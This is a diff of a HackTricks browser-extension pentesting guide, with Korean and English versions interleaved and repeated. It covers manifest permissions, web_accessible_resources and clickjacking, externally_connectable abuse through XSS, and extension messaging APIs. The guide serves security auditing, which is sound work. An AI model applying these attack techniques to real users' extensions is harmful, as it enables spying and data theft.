<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 옵션 페이지 및 기타
|
||||
### Options pages and other
|
||||
|
||||
브라우저 확장 프로그램은 다양한 종류의 페이지를 포함할 수 있습니다:
|
||||
Browser extensions can contain various kinds of pages:
|
||||
|
||||
- **작업 페이지**는 확장 아이콘이 클릭될 때 **드롭다운에 표시**됩니다.
|
||||
- 확장이 **새 탭에서 로드할** 페이지.
|
||||
- **옵션 페이지**: 이 페이지는 클릭 시 확장 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 다음을 클릭하여 접근할 수 있었습니다:
|
||||
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
|
||||
- Pages that the extension will **load in a new tab**.
|
||||
- **Option Pages**: This page displays on top of the extension when clicked. In the previous manifest In my case I was able to access this page in `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` or clicking:
|
||||
|
||||
브라우저 확장 프로그램에는 여러 종류의 페이지가 포함될 수 있습니다:
|
||||
|
||||
- **Action pages**는 확장 아이콘을 클릭했을 때 표시되는 드롭다운에 나타납니다.
|
||||
- 확장 프로그램이 **새 탭에서 로드할** 페이지들.
|
||||
- **Option Pages**: 이 페이지는 클릭하면 확장 프로그램 위에 표시됩니다. 이전 manifest에서는 제 경우 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` 또는 클릭으로 이 페이지에 접근할 수 있었습니다:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
이 페이지는 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하십시오. 그럼에도 불구하고 이들은 백그라운드 페이지와 특정 기능을 공유합니다:
|
||||
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
|
||||
|
||||
- **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지는 콘텐츠 스크립트로부터 메시지를 수신할 수 있어 확장 내 상호작용을 촉진합니다.
|
||||
- **확장 전용 API에 대한 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다.
|
||||
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
|
||||
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
|
||||
|
||||
이 페이지들은 필요할 때 동적으로 콘텐츠를 로드하기 때문에 background pages처럼 지속적이지 않습니다. 그럼에도 불구하고 background page와 몇 가지 기능을 공유합니다:
|
||||
|
||||
- **Communication with Content Scripts:** background page와 마찬가지로 이 페이지들은 content scripts로부터 메시지를 수신할 수 있어 확장 내부 상호작용을 용이하게 합니다.
|
||||
- **Access to Extension-Specific APIs:** 이 페이지들은 확장에 정의된 권한에 따라 확장 전용 API에 광범위하게 접근할 수 있습니다.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 해당 권한이 적용되는지를 나타냅니다.
|
||||
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
|
||||
|
||||
브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**.
|
||||
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, 브라우저 확장 프로그램이 어떤 권한(storage, location...)을 가지는지와 어떤 웹 페이지에서 적용되는지를 나타냅니다.
|
||||
|
||||
이 설정이 어떻게 작동하는지 및 어떻게 악용될 수 있는지 확인하십시오:
|
||||
As browser extensions can be so **privileged**, a malicious one or one being compromised could allow the attacker **different means to steal sensitive information and spy on the user**.
|
||||
|
||||
브라우저 확장 프로그램은 매우 **privileged**할 수 있기 때문에, 악성 확장이나 탈취된 확장은 공격자에게 민감한 정보를 훔치거나 사용자를 감시할 수 있는 다양한 수단을 제공할 수 있습니다.
|
||||
|
||||
Check how these settings work and how they could get abused in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browext-permissions-and-host_permissions.md
|
||||
{{#endref}}
|
||||
|
||||
이 설정들이 어떻게 동작하며 어떻게 악용될 수 있는지 확인하세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -263,13 +289,18 @@ browext-permissions-and-host_permissions.md
|
||||
|
||||
### `content_security_policy`
|
||||
|
||||
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다**.
|
||||
A **content security policy** can be declared also inside the `manifest.json`. If there is one defined, it could be **vulnerable**.
|
||||
|
||||
`manifest.json` 안에도 **content security policy**를 선언할 수 있습니다. 만약 정의되어 있다면, 취약할 수 있습니다.
|
||||
|
||||
The default setting for browser extension pages is rather restrictive:
|
||||
|
||||
브라우저 확장 페이지의 기본 설정은 다소 제한적입니다:
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요:
|
||||
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 참조하세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../content-security-policy-csp-bypass/
|
||||
@ -277,7 +308,7 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
웹 페이지가 브라우저 확장의 페이지에 접근하기 위해서는, 예를 들어 `.html` 페이지, 이 페이지는 `manifest.json`의 **`web_accessible_resources`** 필드에 언급되어야 합니다.\
|
||||
웹페이지가 브라우저 확장 프로그램의 페이지(예: `.html` 페이지)에 접근하려면 해당 페이지가 `manifest.json`의 **`web_accessible_resources`** 필드에 명시되어 있어야 합니다.\
|
||||
예를 들어:
|
||||
```javascript
|
||||
{
|
||||
@ -295,67 +326,91 @@ CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하세요
|
||||
...
|
||||
}
|
||||
```
|
||||
이 페이지는 다음과 같은 URL에서 접근할 수 있습니다:
|
||||
이 페이지들은 다음과 같은 URL에서 접근할 수 있습니다:
|
||||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
공개 확장 프로그램에서는 **extension-id에 접근할 수 있습니다**:
|
||||
In public extensions the **extension-id is accesible**:
|
||||
|
||||
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
하지만, `manifest.json` 매개변수 **`use_dynamic_url`**이 사용되면, 이 **id는 동적일 수 있습니다**.
|
||||
Although, if the `manifest.json` parameter **`use_dynamic_url`** is used, this **id can be dynamic**.
|
||||
|
||||
> [!TIP]
|
||||
> 여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**으로부터 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 이를 (frame-ancestors 섹션) 확인해야 합니다.
|
||||
> Note that even if a page is mentioned here, it might be **protected against ClickJacking** thanks to the **Content Security Policy**. So you also need to check it (frame-ancestors section) before confirming a ClickJacking attack is possible.
|
||||
|
||||
Being allowed to access these pages make these pages **potentially vulnerable ClickJacking**:
|
||||
|
||||
이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
|
||||
|
||||
{{#ref}}
|
||||
browext-clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 하면 ClickJacking 공격을 방지할 수 있습니다.
|
||||
> Allowing these pages to be loaded only by the extension and not by random URLs could prevent ClickJacking attacks.
|
||||
|
||||
> [!CAUTION]
|
||||
> **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트와 통신할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점이 발생할 수 있습니다.
|
||||
> Note that the pages from **`web_accessible_resources`** and other pages of the extension are also capable of **contacting background scripts**. So if one of these pages is vulnerable to **XSS** it could open a bigger vulnerability.
|
||||
>
|
||||
> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
|
||||
> Moreover, note that you can only open pages indicated in **`web_accessible_resources`** inside iframes, but from a new tab it's possible to access any page in the extension knowing the extension ID. Therefore, if an XSS is found abusing same parameters, it could be abused even if the page isn't configured in **`web_accessible_resources`**.
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다.
|
||||
A per the [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally_connectable), The `"externally_connectable"` manifest property declares **which extensions and web pages can connect** to your extension via [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) and [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
|
||||
|
||||
- **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만, 웹 페이지는 연결할 수 없습니다**.
|
||||
- **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **오직 해당 애플리케이션만** 연결할 수 있습니다.
|
||||
- **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다:
|
||||
- If the **`externally_connectable`** key is **not** declared in your extension's manifest or it's declared as **`"ids": ["*"]`**, **all extensions can connect, but no web pages can connect**.
|
||||
- If **specific IDs are specified**, like in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **only those applications** can connect.
|
||||
- If **matches** are specified, those web apps will be able to connect:
|
||||
```json
|
||||
"matches": [
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
- 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다.
|
||||
- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
|
||||
|
||||
여기에서 **확장 프로그램과 URL**이 적을수록 **공격 표면**이 작아집니다.
|
||||
여기에 **`"externally_connectable": {}`**로 비어있다고 지정되어 있으면 어떤 앱이나 웹도 연결할 수 없습니다.
|
||||
|
||||
The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
|
||||
|
||||
여기에 지정된 **확장 프로그램과 URL이 적을수록**, **공격 표면이 더 작아집니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **Content Script**와 그 CSP를 완전히 우회하여 **백그라운드 스크립트에 직접 메시지를 보낼 수** 있습니다.
|
||||
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
|
||||
>
|
||||
> 따라서, 이는 **매우 강력한 우회**입니다.
|
||||
> Therefore, this is a **very powerful bypass**.
|
||||
>
|
||||
> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
|
||||
> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
|
||||
> [!CAUTION]
|
||||
> 만약 웹 페이지가 **XSS 또는 takeover에 취약**한 상태로 **`externally_connectable`**에 지정되어 있다면, 공격자는 **background script에 직접 메시지를 보낼 수 있으며**, Content Script와 해당 CSP를 완전히 우회할 수 있습니다.
|
||||
>
|
||||
> 따라서, 이것은 **매우 강력한 우회 방법**입니다.
|
||||
>
|
||||
> 또한 클라이언트가 악성 확장 프로그램을 설치한 경우, 해당 확장 프로그램이 취약한 확장과 통신하도록 허용되지 않더라도 허용된 웹 페이지에 **XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용해 대상 도메인의 요청을 조작하여 페이지의 **JavaScript 파일** 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있다는 점에 유의하세요). 이 아이디어는 [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
|
||||
|
||||
## Communication summary
|
||||
|
||||
## 통신 요약
|
||||
|
||||
### 확장 프로그램 <--> 웹앱
|
||||
### Extension <--> WebApp
|
||||
|
||||
내용 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 내용 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내어 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하도록 할 수도 있습니다.
|
||||
### 확장 프로그램 <--> WebApp
|
||||
|
||||
To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script.
|
||||
|
||||
content script와 웹 페이지 사이의 통신에는 보통 post message가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 함수 호출 **`window.postMessage`**를, content script 쪽에서는 **`window.addEventListener`** 같은 리스너를 찾을 수 있습니다. 다만, 확장 프로그램이 웹 애플리케이션으로 Post Message를 보내어(따라서 웹 쪽이 이를 예상해야 함) 통신하거나 단순히 웹에 새 스크립트를 로드하게 할 수도 있다는 점에 유의하세요.
|
||||
|
||||
### Inside the extension
|
||||
|
||||
### 확장 프로그램 내부
|
||||
|
||||
일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다.
|
||||
Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**.
|
||||
|
||||
단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다:
|
||||
확장 프로그램 내부에서는 보통 **`chrome.runtime.sendMessage`** 함수로 메시지를 보냅니다(대개 `background` script에서 처리). 이를 수신·처리하려면 **`chrome.runtime.onMessage.addListener`**를 호출해 리스너를 선언합니다.
|
||||
|
||||
It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example:
|
||||
|
||||
또한 단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수 있으며, 이를 통해 다음 예제처럼 **메시지를 전송**하고 **수신**할 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
@ -390,19 +445,19 @@ console.log("Content script received message from background script:", msg)
|
||||
```
|
||||
</details>
|
||||
|
||||
특정 탭에 위치한 콘텐츠 스크립트로 백그라운드 스크립트에서 메시지를 보내는 것도 가능합니다. **`chrome.tabs.sendMessage`**를 호출하여 메시지를 보낼 **탭의 ID**를 지정해야 합니다.
|
||||
백그라운드 스크립트에서 특정 탭에 위치한 content script로 메시지를 보내려면 **`chrome.tabs.sendMessage`**를 호출하면 되며, 이때 메시지를 보낼 **탭의 ID**를 지정해야 합니다.
|
||||
|
||||
### 허용된 `externally_connectable`에서 확장으로
|
||||
### 허용된 `externally_connectable`에서 확장 프로그램으로
|
||||
|
||||
`externally_connectable` 구성에서 허용된 **웹 앱 및 외부 브라우저 확장**은 다음을 사용하여 요청을 보낼 수 있습니다:
|
||||
**`externally_connectable` 구성에서 허용된 웹 앱 및 외부 브라우저 확장 프로그램**은 다음을 사용하여 요청을 보낼 수 있습니다 :
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
**확장 ID**를 언급해야 하는 곳입니다.
|
||||
필요한 경우 **extension ID**를 언급합니다.
|
||||
|
||||
### 네이티브 메시징
|
||||
### Native Messaging
|
||||
|
||||
백그라운드 스크립트가 시스템 내의 바이너리와 통신할 수 있으며, 이 통신이 적절하게 보호되지 않으면 **RCE와 같은 치명적인 취약점에 노출될 수 있습니다**. [자세한 내용은 나중에](#native-messaging) 확인하세요.
|
||||
백그라운드 스크립트(background scripts)가 시스템 내부의 바이너리(binaries)와 통신할 수 있으며, 이 통신이 적절히 보호되지 않으면 **RCEs와 같은 치명적인 취약점에 노출될 수 있습니다**. [More on this later](#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -412,9 +467,9 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
## Web **↔︎** Content Script Communication
|
||||
## 웹 **↔︎** Content Script 통신
|
||||
|
||||
**콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고, 두 환경 모두 페이지의 **문서 객체 모델 (DOM)**과 상호작용할 수 있는 능력을 가지고 있는 공유 자원입니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는, 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다.
|
||||
**content scripts**가 실행되는 환경과 호스트 페이지가 존재하는 환경은 서로 **분리되어** 있어 **격리**가 보장됩니다. 이 격리에도 불구하고, 양쪽은 공통 자원인 페이지의 **Document Object Model (DOM)**과 상호작용할 수 있습니다. 호스트 페이지가 **content script**와 통신하거나 content script를 통해 확장 프로그램과 간접적으로 통신하려면, 양측에서 접근 가능한 **DOM**을 통신 채널로 사용해야 합니다.
|
||||
|
||||
### Post Messages
|
||||
```javascript:content-script.js
|
||||
@ -451,15 +506,16 @@ window.postMessage(
|
||||
false
|
||||
)
|
||||
```
|
||||
안전한 Post Message 통신은 수신된 메시지의 진위를 확인해야 하며, 이는 다음을 확인하여 수행할 수 있습니다:
|
||||
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
|
||||
|
||||
- **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다.
|
||||
- 콘텐츠 스크립트는 사용자가 어떤 행동을 수행할 때만 메시지를 기대할 수 있습니다.
|
||||
- **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 있을 수 있습니다.
|
||||
- 정규 표현식을 사용하는 경우, 매우 주의해야 합니다.
|
||||
- **Source**: `received_message.source !== window`를 사용하여 메시지가 콘텐츠 스크립트가 수신 대기 중인 **같은 창**에서 온 것인지 확인할 수 있습니다.
|
||||
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
|
||||
- The content script might expecting a message only if the user performs some action
|
||||
- **origin domain**: might expecting a message only allowlist of domains.
|
||||
- If a regex is used, be very careful
|
||||
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
|
||||
|
||||
The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
|
||||
|
||||
이전의 확인 사항들은 수행되었더라도 취약할 수 있으므로, 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/
|
||||
@ -467,7 +523,8 @@ false
|
||||
|
||||
### Iframe
|
||||
|
||||
또 다른 가능한 통신 방법은 **Iframe URLs**를 통한 것입니다. 예시는 다음에서 찾을 수 있습니다:
|
||||
Another possible way of communication might be through **Iframe URLs**, you can find an example in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -475,21 +532,22 @@ browext-xss-example.md
|
||||
|
||||
### DOM
|
||||
|
||||
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
|
||||
This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**.
|
||||
|
||||
You can also find an example of a **DOM based XSS to compromise a browser extension** in:
|
||||
|
||||
브라우저 확장을 손상시키기 위한 **DOM 기반 XSS**의 예시도 다음에서 찾을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
{{#endref}}
|
||||
|
||||
## 콘텐츠 스크립트 **↔︎** 백그라운드 스크립트 통신
|
||||
## Content Script **↔︎** Background Script Communication
|
||||
|
||||
콘텐츠 스크립트는 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **또는** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 함수를 사용하여 **일회성 JSON 직렬화 가능** 메시지를 보낼 수 있습니다.
|
||||
A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
|
||||
|
||||
**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 이전 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다.
|
||||
To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument.
|
||||
|
||||
**콘텐츠 스크립트**에서 요청을 보내는 모습은 다음과 같습니다:
|
||||
Sending a request from a **content script** looks like this:
|
||||
```javascript
|
||||
;(async () => {
|
||||
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
@ -497,7 +555,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
**확장**에서 요청 보내기 (보통 **백그라운드 스크립트**). 선택한 탭의 콘텐츠 스크립트에 메시지를 보내는 방법의 예:
|
||||
**extension** (보통 **background script**)에서 요청 보내기. 선택된 탭의 content script로 메시지를 보내는 예:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -510,7 +568,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
수신 측에서는 메시지를 처리하기 위해 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 콘텐츠 스크립트나 확장 페이지에서 동일하게 보입니다.
|
||||
**수신 측**에서는 메시지를 처리하려면 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 content script 또는 extension page에서 동일합니다.
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
|
||||
@ -522,15 +580,15 @@ sender.tab
|
||||
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
})
|
||||
```
|
||||
예제에서 강조된 **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`의 비동기 실행을 위해 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 포함하는 것이 필수적입니다.
|
||||
위 예제에서, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`를 비동기적으로 실행하도록 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 반드시 포함해야 합니다.
|
||||
|
||||
중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서 **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
|
||||
중요한 점은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 경우, 특정 이벤트에 대해 **가장 먼저 `sendResponse()`를 실행한 페이지**만이 응답을 실제로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 이후의 응답은 무시됩니다.
|
||||
|
||||
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 수집)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
|
||||
새 확장 기능을 설계할 때는 callbacks보다 promises를 사용하는 것이 바람직합니다. callbacks를 사용할 경우, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환해 비동기 동작을 명시한 경우에만 유효합니다. 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()`가 메모리에서 가비지 컬렉션되면, 기본적으로 `sendMessage()`에 연결된 콜백이 호출됩니다.
|
||||
|
||||
## Native Messaging
|
||||
|
||||
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신**할 수 있도록 허용합니다. 애플리케이션은 이를 나타내는 json을 json 형식으로 설치해야 합니다:
|
||||
브라우저 확장도 **binaries in the system via stdin**를 통해 시스템의 바이너리와 통신할 수 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, 예시는 다음과 같습니다:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -540,14 +598,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name`은 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력을 사용) 하나뿐이고, `allowed_origins`는 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없습니다).
|
||||
`name`은 브라우저 확장 프로그램의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이고, 유효한 `type`은 stdio (stdin과 stdout 사용) 하나뿐이며 `allowed_origins`는 접근 가능한 확장들을 나타냅니다(와일드카드 사용 불가).
|
||||
|
||||
Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다).
|
||||
